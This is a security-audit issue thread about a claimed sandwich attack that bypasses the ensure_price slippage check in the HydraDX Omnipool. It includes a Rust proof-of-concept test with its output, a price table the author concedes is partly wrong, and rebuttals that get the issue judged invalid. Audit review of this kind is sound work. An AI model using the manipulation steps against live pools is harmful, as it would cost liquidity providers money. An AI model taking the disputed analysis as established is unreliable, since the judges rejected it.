Closed c4-bot-6 closed 7 months ago
0xRobocop marked the issue as primary issue
0xRobocop marked the issue as sufficient quality report
enthusiastmartin (sponsor) disputed
It is not obvious what is the problem here.
We dont believe this demonstrate any possible exploit.
Manipulating price of tokenB by selling LRNA does not have impact on tokenA.
The main argument here is:
This is easily evident by looking at the state of the pool. If BOB adds 22.36 tokenA liquidity, BOB would get 50% of the shares of the pool, since the current state also has 22.36 tokenA reserves. However if this frontrunning attack never happened, BOB would have been received more than 50% shares of the pool, since originally the pool reserves only had 20 tokenA.
However, the fact that bob owns a smaller percentage than in an alternative scenario does not constitute slippage. What does Bob receive in both scenarios when he would immediately withdraw after providing liquidity, i.e. how has his net worth measured in tokenA changed? The finding does not show that this decreased in any way (and it should not with constant A/LRNA prices).
OpenCoreCH marked the issue as unsatisfactory: Insufficient proof
The loss to the user comes after the frontrunner closes the price gap they created. After the three transactions above, the pAB
is 1.25, which is above the market rate. So the frontrunner can then backrun to close this price gap by selling 1.888 B tokens for A tokens.
Operation | ALICE tokenA | ALICE LRNA | ALICE tokenB | Pool tokenA | Pool LRNA for tokenA | Pool LRNA for tokenB | Pool tokenB | pA | pB | pAB |
---|---|---|---|---|---|---|---|---|---|---|
Initial | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 1 | 1 | 1 |
swap A->B | 15 | 20 | 24 | 25 | 20 | 20 | 16 | 0.8 | 1.25 | 1.5625 |
swap LRNA->A | 17.64 | 17.64 | 24 | 22.36 | 22.36 | 20 | 16 | 1.0 | 1.25 | 1.25 |
Add liquidity | 44.72 | 44.72 | 20 | 16 | 1.0 | 1.25 | 1.25 | |||
swap B->A | 22.36 | 17.64 | 22.112 | 40 | 44.72 | 20 | 17.888 | 1.12 | 1.12 | 1.0 |
Now the price difference has been arbitraged away by Alice.
Now Bob supplied liquidity at a price pA of 1.0, but is now removing liquidity at the price pA of 1.12. Due to this, Bob will incur an impermanent loss according to the graph here. part of the total loss will be offset by minting Bob LRNA tokens, but this wont cover the entire loss. This loss is captured by Alice, who starts with 20+20+20=60 usd of tokens assuming all tokens are 1 usd, and ends up with 22.36+17.64+22.112=62.112 usd of tokens.
So there is a loss, and the ensure_price
function cannot do anything to mitigate this. This last part was not included in the report since the focus was on the price manipulation part, and this same loss realization step was used in my report #116 and also explained in my Analysis report #136.
The issue I want to focus on here is that while A is not related to B, devaluing the LRNA token via swapping B does affect A. This basically removes all price protection from the system. I would even argue this as a valid high, since the other slippage related issues have been judged a medium because the system always had ensure_price
in play which capped the losses to 1%. But this issue shows that ensure_price
itself can be broken, and shows uncapped losses. the price is shown to move from 1.0 to 1.12, which is a 12% difference already and Bob eats this IL. This is equivalent to having no price protection at all.
Attached is a running POC demonstrating the issue in the code. The POC follows the same 4 steps as above as well as liquidity removal:
#[test]
fn test_Attack_slippage() {
ExtBuilder::default()
.with_endowed_accounts(vec![
(Omnipool::protocol_account(), DAI, 1000 * ONE),
(Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
(LP1, 1_000, 5000 * ONE),
(LP1, LRNA, 5000 * ONE),
(LP1, DAI, 5000 * ONE),
(LP2, 1_000, 2000 * ONE),
(LP2, DAI, 2000 * ONE),
(LP3, 1_000, 1000 * ONE),
])
.with_initial_pool(FixedU128::from_float(1.0), FixedU128::from(1))
.with_token(1_000, FixedU128::from_float(1.0), LP2, 1000 * ONE)
.with_min_withdrawal_fee(Permill::from_float(0.01))
.build()
.execute_with(|| {
let current_position_id = <NextPositionId<Test>>::get();
let omni_lrna = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
let omni_token = Tokens::free_balance(1000, &Omnipool::protocol_account());
let omni_dai = Tokens::free_balance(DAI, &Omnipool::protocol_account());
println!("omni_lrna : {}", omni_lrna);
println!("omni_token: {}", omni_token);
println!("omni_dai : {}", omni_dai);
let init_token_state = Omnipool::load_asset_state(1000).unwrap();
let init_dai_state = Omnipool::load_asset_state(DAI).unwrap();
println!("LRNA_token : {}", init_token_state.hub_reserve);
println!("LRNA_dai : {}", init_dai_state.hub_reserve);
println!("pA: {}", (init_token_state.hub_reserve as f64) / (omni_token as f64) );
println!("");
println!("Swap token -> DAI");
println!("");
let swap_amount = 200*ONE;
assert_ok!(Omnipool::buy(
RuntimeOrigin::signed(LP1),
DAI,
1_000,
swap_amount,
500000 * ONE
));
let omni_lrna = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
let omni_token = Tokens::free_balance(1000, &Omnipool::protocol_account());
let omni_dai = Tokens::free_balance(DAI, &Omnipool::protocol_account());
println!("omni_lrna : {}", omni_lrna);
println!("omni_token: {}", omni_token);
println!("omni_dai : {}", omni_dai);
let sold_token_state = Omnipool::load_asset_state(1000).unwrap();
let sold_dai_state = Omnipool::load_asset_state(DAI).unwrap();
println!("LRNA_token: {}", sold_token_state.hub_reserve);
println!("LRNA_dai : {}", sold_dai_state.hub_reserve);
let price_a = (sold_token_state.hub_reserve as f64) / (omni_token as f64);
let price_b = (sold_dai_state.hub_reserve as f64) / (omni_dai as f64);
println!("pA: {}", price_a );
println!("pB: {}", price_b );
println!("");
let lpproduct_root = ((sold_token_state.hub_reserve * omni_token) as f64).sqrt() as i64 + 1;
let to_sell = lpproduct_root as u128 - sold_token_state.hub_reserve;
println!("Swap LRNA -> token");
println!("");
assert_ok!(Omnipool::sell(
RuntimeOrigin::signed(LP1),
LRNA,
1_000,
to_sell as u128,
0
));
let lrna_amt_init = Tokens::free_balance(LRNA, &LP3);
let token_amt_init = Tokens::free_balance(1000, &LP3);
println!("lrna_alice_init : {}", lrna_amt_init);
println!("token_alice_init: {}", token_amt_init);
let omni_lrna = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
let omni_token = Tokens::free_balance(1000, &Omnipool::protocol_account());
let omni_dai = Tokens::free_balance(DAI, &Omnipool::protocol_account());
println!("omni_lrna : {}", omni_lrna);
println!("omni_token: {}", omni_token);
println!("omni_dai : {}", omni_dai);
let sold_token_state = Omnipool::load_asset_state(1000).unwrap();
let sold_dai_state = Omnipool::load_asset_state(DAI).unwrap();
println!("LRNA_token: {}", sold_token_state.hub_reserve);
println!("LRNA_dai : {}", sold_dai_state.hub_reserve);
let price_a = (sold_token_state.hub_reserve as f64) / (omni_token as f64);
let price_b = (sold_dai_state.hub_reserve as f64) / (omni_dai as f64);
println!("pA: {}", price_a );
println!("pB: {}", price_b );
println!("pAB: {}", price_b/price_a );
println!("");
println!("Add liquidity");
println!("");
let current_position_id = <NextPositionId<Test>>::get();
assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP3), 1_000, 1000*ONE));
let position = Positions::<Test>::get(current_position_id).unwrap();
let omni_lrna = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
let omni_token = Tokens::free_balance(1000, &Omnipool::protocol_account());
let omni_dai = Tokens::free_balance(DAI, &Omnipool::protocol_account());
println!("omni_lrna : {}", omni_lrna);
println!("omni_token: {}", omni_token);
println!("omni_dai : {}", omni_dai);
let sold_token_state = Omnipool::load_asset_state(1000).unwrap();
let sold_dai_state = Omnipool::load_asset_state(DAI).unwrap();
println!("LRNA_token: {}", sold_token_state.hub_reserve);
println!("LRNA_dai : {}", sold_dai_state.hub_reserve);
let price_a = (sold_token_state.hub_reserve as f64) / (omni_token as f64);
let price_b = (sold_dai_state.hub_reserve as f64) / (omni_dai as f64);
println!("pA: {}", price_a );
println!("pB: {}", price_b );
println!("pAB: {}", price_b/price_a );
println!("");
let dai_final_p1 = ((omni_token*omni_dai) as f64).sqrt();
let dai_final_p2 = (sold_dai_state.hub_reserve as f64 / sold_token_state.hub_reserve as f64).sqrt();
let dai_final = (dai_final_p1 * dai_final_p2) as u128;
// some withcraft numbers from manual linear interp to make pAB=1 again
let to_sell = (((dai_final - omni_dai) as f64)*0.75*0.873*0.9573) as u128;
println!("Swap DAI->token");
println!("");
assert_ok!(Omnipool::sell(
RuntimeOrigin::signed(LP1),
DAI,
1_000,
to_sell,
0
));
let lrna_amt = Tokens::free_balance(LRNA, &LP3);
let token_amt = Tokens::free_balance(1000, &LP3);
println!("lrna_alice : {}", lrna_amt);
println!("token_alice: {}", token_amt);
let omni_lrna = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
let omni_token = Tokens::free_balance(1000, &Omnipool::protocol_account());
let omni_dai = Tokens::free_balance(DAI, &Omnipool::protocol_account());
println!("omni_lrna : {}", omni_lrna);
println!("omni_token: {}", omni_token);
println!("omni_dai : {}", omni_dai);
let sold_token_state = Omnipool::load_asset_state(1000).unwrap();
let sold_dai_state = Omnipool::load_asset_state(DAI).unwrap();
println!("LRNA_token: {}", sold_token_state.hub_reserve);
println!("LRNA_dai : {}", sold_dai_state.hub_reserve);
let price_a = (sold_token_state.hub_reserve as f64) / (omni_token as f64);
let price_b = (sold_dai_state.hub_reserve as f64) / (omni_dai as f64);
println!("pA: {}", price_a );
println!("pB: {}", price_b );
println!("pAB: {}", price_b/price_a );
println!("");
println!("remove liquidity");
println!("");
assert_ok!(Omnipool::remove_liquidity(
RuntimeOrigin::signed(LP3),
current_position_id,
position.shares
));
let lrna_amt = Tokens::free_balance(LRNA, &LP3);
let token_amt = Tokens::free_balance(1000, &LP3);
println!("lrna_alice_final : {}", lrna_amt);
println!("token_alice_final: {}", token_amt);
let omni_lrna = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
let omni_token = Tokens::free_balance(1000, &Omnipool::protocol_account());
let omni_dai = Tokens::free_balance(DAI, &Omnipool::protocol_account());
println!("omni_lrna : {}", omni_lrna);
println!("omni_token: {}", omni_token);
println!("omni_dai : {}", omni_dai);
let sold_token_state = Omnipool::load_asset_state(1000).unwrap();
let sold_dai_state = Omnipool::load_asset_state(DAI).unwrap();
println!("LRNA_token: {}", sold_token_state.hub_reserve);
println!("LRNA_dai : {}", sold_dai_state.hub_reserve);
let price_a = (sold_token_state.hub_reserve as f64) / (omni_token as f64);
let price_b = (sold_dai_state.hub_reserve as f64) / (omni_dai as f64);
println!("pA: {}", price_a );
println!("pB: {}", price_b );
println!("pAB: {}", price_b/price_a );
println!("");
});
}
running 1 test
omni_lrna : 12000000000000000
omni_token: 1000000000000000
omni_dai : 1000000000000000
LRNA_token : 1000000000000000
LRNA_dai : 1000000000000000
pA: 1
Swap token -> DAI
omni_lrna : 12000000000000000
omni_token: 1333333333333336
omni_dai : 800000000000000
LRNA_token: 749999999999999
LRNA_dai : 1250000000000001
pA: 0.5624999999999981
pB: 1.5625000000000013
Swap LRNA -> token
lrna_alice_init : 0
token_alice_init: 1000000000000000
omni_lrna : 12250000000000002
omni_token: 1000000000000000
omni_dai : 800000000000000
LRNA_token: 1000000000000001
LRNA_dai : 1250000000000001
pA: 1.000000000000001
pB: 1.5625000000000013
pAB: 1.5624999999999996
Add liquidity
omni_lrna : 13250000000000003
omni_token: 2000000000000000
omni_dai : 800000000000000
LRNA_token: 2000000000000002
LRNA_dai : 1250000000000001
pA: 1.000000000000001
pB: 1.5625000000000013
pAB: 1.5624999999999996
Swap DAI->token
lrna_alice : 0
token_alice: 0
omni_lrna : 13250000000000003
omni_token: 1843880761593751
omni_dai : 925358434999999
LRNA_token: 2169337672650058
LRNA_dai : 1080662327349945
pA: 1.1765064844946913
pB: 1.1678310657533977
pAB: 0.992626119060432
remove liquidity
lrna_alice_final : 87082934812975
token_alice_final: 912720976988906
omni_lrna : 12176177852038226
omni_token: 931159784604845
omni_dai : 925358434999999
LRNA_token: 1095515524688281
LRNA_dai : 1080662327349945
pA: 1.1765064844946922
pB: 1.1678310657533977
pAB: 0.9926261190604312
test tests::remove_liquidity::test_Attack_slippage ... ok
From this output, we see that Alice started with 1000 A tokens, and ended up with 912.7 A tokens and 87.08 LRNA tokens. This is because the price was manipulated, bypassing the ensure_price check.
The values of pA
, pB
and pAB
can be followed through the output to get a better picture. After the first 2 steps (token -> DAI swap and LRNA -> token swap), the pA
goes back to 1.0. This will ensure that ensure_price
doesn't reject the liquidity addition.
Step 3 (liquidity addition) proceeds smoothly, but here alive is adding liquidity at a price point pAB
of 1.562 instead of 1! But this is allowed since pA
is still ~1.0
Step 4 (B->A swap) sees the frontrunner closing the arbitrage position and resetting the price pAB
to 0.993, or close to 1. Due to this, the token-LRNA price changes and is now 1.176! Since the pA
has increased, Alice has suffered impermanent loss and part of her los will be subsidised with LRNA tokens.
After Step 5 (Liquidity removal), we see Alice did not get back the full 1000 A tokens. Instead she gets credited with some LRNA tokens to compensate her loss. The main issue is that the attacker can manipulate the price as much as they want, so they can dictate how much of Alice's holdings will be paid out in LRNA tokens. In this example, the manipulation magnitude was small since only 10% of the pool is used to imbalance it (100 tokens are sold into a liquidity of 1000) but this magnitude can be larger and force Alice to eat a much larger impermanent loss.
The protocol has no way of defending against this, since the ensure_price
module is being broken.
I understand there are regulations regarding how much supplementary material can be added in the end of a contest for PJQA, however I would like to stress a few key points.
Thank you for your consideration.
The loss to the user comes after the frontrunner closes the price gap they created. After the three transactions above, the
pAB
is 1.25, which is above the market rate. So the frontrunner can then backrun to close this price gap by selling 1.888 B tokens for A tokens.Operation ALICE tokenA ALICE LRNA ALICE tokenB Pool tokenA Pool LRNA for tokenA Pool LRNA for tokenB Pool tokenB pA pB pAB Initial 20 20 20 20 20 20 20 1 1 1 swap A->B 15 20 24 25 20 20 16 0.8 1.25 1.5625 swap LRNA->A 17.64 17.64 24 22.36 22.36 20 16 1.0 1.25 1.25 Add liquidity 44.72 44.72 20 16 1.0 1.25 1.25 swap B->A 22.36 17.64 22.112 40 44.72 20 17.888 1.12 1.12 1.0 Now the price difference has been arbitraged away by Alice.
This is not a correct analysis of closing the arb opportunity/price gap.
Alice's initial swap A->B and swap LRNA -> A effectively netted to a swap LRNA->B that changed the LRNA/B price but left the LRNA/A price unchanged. Note this also means the price of C/A for every other token C in the Omnipool was unchanged. So at the point when Bob adds liquidity to asset A, the price of LRNA/B has been manipulated, but nothing else. A swap B-> A will therefore not close the arb, because it will change the C/A price for every other asset C in Omnipool.
When Bob adds liquidity to the pool, the price of A-B has been manipulated. This is where the arb opportunity comes from. From the spreadsheet as well as the POC, the pAB during liquidity addition is not 1 anymore. After liquidity addition, the pAB is changed back to close the arb by Alice. This is because pAB is 1 in other exchanges, but is more than 1 in this exchange due to the swaps.
Once the arb gap is closed and pAB returns back to 1, we see that pA goes up. This change in pA is the impermanent loss faced by the user.
In the POC itself you can see clearly how the protocol behaves. Instead of giving Bob back the 1000 tokens they provided, instead they are partially payed back in LRNA tokens. If there was no manipulation involved, Bob would have received tokens back with the same value. However that is not the case anymore, and the amount of money bob gets back depends heavily on the spot price of LRNA at that moment.
The POC clearly demonstrates that a malicious user can force a user's token A deposit to be paid back in tokenA + LRNA. This happens even if there is no apparent change in the price of the tokens in outside markets. Thus this is an issue.
Also this analysis is done for a pool with only 2 assets A and B. For larger pools, the manipulation would require more steps, since closing the arb would require swapping each component against A. However I believe analyzing the situation with only 2 assets will reflect the situation with more assets as well and will be easier to understand and analyze.
Hi @OpenCoreCH .
I think this report has the same invalid assumption as the report number #116 , the report assumed that no change in the LRNA in the pools of the traded asset , which is not correct and the LRNA changed , and affect all the price calculations .
As shown here
The swap done by the report did not change the LRNA reserve of the pool .
as shown here the amount of LRNA in the pool of asset A
wrongly calculated since it should be equal to 16
in the second row instead of 20
, and since Alice only provided LRNA to get assetA in a trade , this wrong calculation lead to different prices of the final state after Alice added liquidity in wrong prices of assetA and assetB .
This report also has a valid POC demonstrating the issue. Also the LRNA token count does not matter for this, only the change in the pA.
The POC results show LRNA_token
, the LRNA corresponding to token A, and LRNA_DAI
, LRNA corresponding to token B. And omni_token
and omni_dai
show the reserve values of the two tokens. pA
is calculated as LRNA_token/omni_token
. We can clearly see pA
increase after the DAI->token (B->A) swap, which leads to the impermanent loss of the user.
Some numbers on the spreadsheet are incorrect since i didn't update the hub components, but the result of the POC is irrefutable proof that the system still works the same they the report describes the problem.
Thanks for the PoC @carrotsmuggler.
If we leave out pB
and pAB
for a moment and only focus on pA
, the attack essentially involves manipulating the pA
price directly after a user has added liquidity. This will lead to IL in most AMMs, you could perform steps 3 - 5 also on Uniswap (with IL to the LP). However, steps 1 and 2 ensure that B is mispriced (which can only be done risk free if the front and back running is guaranteed, because someone else could intervene otherwise, but let's assume this for the moment), which ensures that the step 4 rebalances the pool again.
Of course, if there were more tokens, there would still be an arb opportunity after step 4 as mentioned by @poliwop. But if we assume that there are only two tokens in the pool, this seems to be a valid sandwich attack to me, at least I cannot find an issue in the PoC and could not find an arb opportunity after step 4 (if there were one, it would not really be valid, because it would be stupid to withdraw the liquidity in this state and someone would close it). What do you think @enthusiastmartin @poliwop ? You definitely know the math behind the system better than me, so would love your input.
I think the confusion here is coming from using the wrong baseline for comparison. In the POC, Bob is selling LRNA into the Omnipool. That changes the price of LRNA, which gives LPs impermanent loss. This is expected.
Here is a simplified version of the suggested manipulation, as demonstrated in the POC:
*(note that I'm combining swapping TKN -> DAI and LRNA -> TKN, because ignoring fees, they are equivalent to simply swapping LRNA -> DAI, if the TKN quantity swapped matches, as it does in the POC)
Notice that the first transaction happens only in the DAI part of Omnipool, while the second only affects the TKN part of Omnipool. So these two transactions can be flipped with no change in the outcome. Thus this matches
This is business-as-usual, and this is the correct baseline to compare to. Alice added TKN liquidity, and when Bob sold LRNA to the Omnipool, the LRNA/TKN price changed, causing impermanent loss for Alice. The "sandwich" in the first sequence of transactions doesn't actually do anything, it doesn't benefit Bob or hurt Alice.
Typically we would consider something price manipulation only if the price is moved away from the "market price". But the change in LRNA price here is a real change in the market price: LRNA is sold to the pool, which makes it less valuable, and that isn't reversed (it cannot be reversed, since LRNA cannot be bought from the Omnipool). So the fact that it causes the LP impermanent loss is the correct outcome.
The ensure_price check referenced here is in place to protect against specific exploits which cannot be executed via the strategy outlined in this issue primarily because LRNA cannot be bought from the Omnipool.
Thanks for your comment @poliwop Indeed, the order of the operations does not actually matter here, the result should be the same if Bob performs his actions between the liquidity addition. So ultimately, the finding displays a scenario where the LPs incur impermanent loss, which is the intended behaviour in this scenario. Therefore keeping the initial judging.
Lines of code
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/traits.rs#L164-L190
Vulnerability details
Impact
The
ensure_price
function in omnipool is a way to control slippage in the omnipool during liquidity addition and removal. The function takes in two assets, typically LRNA and the asset being added/removed, and the current spot price (reserves and hub reserves).The function itself then compares the spot price (calculated from the reserves) and an oracle price, and makes sure the spot price is within certain bounds of the oracle price. If it is not, the function returns an error.
The issue is that this only deals with the price of the token with LRNA. Omnipools can have multiple tokens in them, not just the asset whose price is being checked here.
Since the only requirement is to match the tokenA - LRNA price (say tokenA is being deposited/removed here), users can swap tokenA to tokenB, and then sell LRNA for tokenA to skew the prices while keeping the LRNA-tokenA price the same. This is further discussed in the later section with step by step walkthrough of the math. Thus even though the protocol implements a 1% slippage through this function, the actual slippage can be forced to be much much higher.
Proof of Concept
The attack can be carried out in the following steps:
For simplicity, lets assume that all tokens (tokenA, tokenB, LRNA) are equal and worth 1 usd.
Initially, the pool is assumed to have 20 tokenB, and 20 LRNA tokens corresponding to the 20 tokenB since they are all valued at the same price. Similarly the pool also has 20 tokenA and 20 LRNA tokens corresponding to the 20 tokenA.
In the below table, the assets of ALICE are tracked in columns 2-4, and the assets of the pool are tracked in columns 5-8. The pool's LRNA tokens are tracked in columns 6 and 7, and they contain the corresponding LRNA tokens for tokenA and tokenB respectively.
pA is the spot price of LRNA-tokenA, calculated by column_6/column_5. pB is the spot price of LRNA-tokenB, calculated by column_7/column_8. pAB is the spot price of tokenA-tokenB, calculated pB/pA.
The initial condition of the pool looks like so: Assuming there are 20 tokenB in the pool, and no tokenA.
Now, ALICE swaps 5 tokenA for tokenB. The result of the swap is calculated according to the x*y=k invariant. ALICE gets back 4 tokenB from this swap.
The price pA has now dropped to 0.8. For
ensure_price
to pass, we want pA to be the same as the oracle price. So ALICE can now sell LRNA tokens to make pA 1 again.For pA to be 1, tokenA = hub_tokenA, so tokenA_in_pool = sqrt(25*20)=22.36. So ALICE swaps 2.36 LRNA tokens and gets back 2.64 tokenA. The composition now looks like this:
Thus ALICE has managed to skew the A-B price to 1.25, but since the LRNA-A price is still 1.0, the
ensure_price
check will pass. Now if BOB adds liquidity, he will receive less tokens than desired.This is easily evident by looking at the state of the pool. If BOB adds 22.36 tokenA liquidity, BOB would get 50% of the shares of the pool, since the current state also has 22.36 tokenA reserves. However if this frontrunning attack never happened, BOB would have been received more than 50% shares of the pool, since originally the pool reserves only had 20 tokenA.
Thua ALICE was able to cause BOB losses by manipulating the price of tokenA, and bypass the
ensure_price
check, by making sure the LRNA-A price remained the same. Since this leads to unbounded losses due to slippage, this is a high severity issue.The model here ignores fees. The fees only affect ALICE's profit chances. BOB will always eat a loss no matter what the fees are set to.
Tools Used
Manual Review
Recommended Mitigation Steps
ensure_price
is not sufficient for checking slippage since it only checks LRNA-tokenA price, and not the prices between the tokens of the pool. Consider adding price checks of the end assets, i.e. tokenA to tokenB, since this is where the real manipulation happens and the MEV is extracted from. However in pools with n assets, this constitutes to checking n different prices, which might increase gas usage.Assessed type
Invalid Validation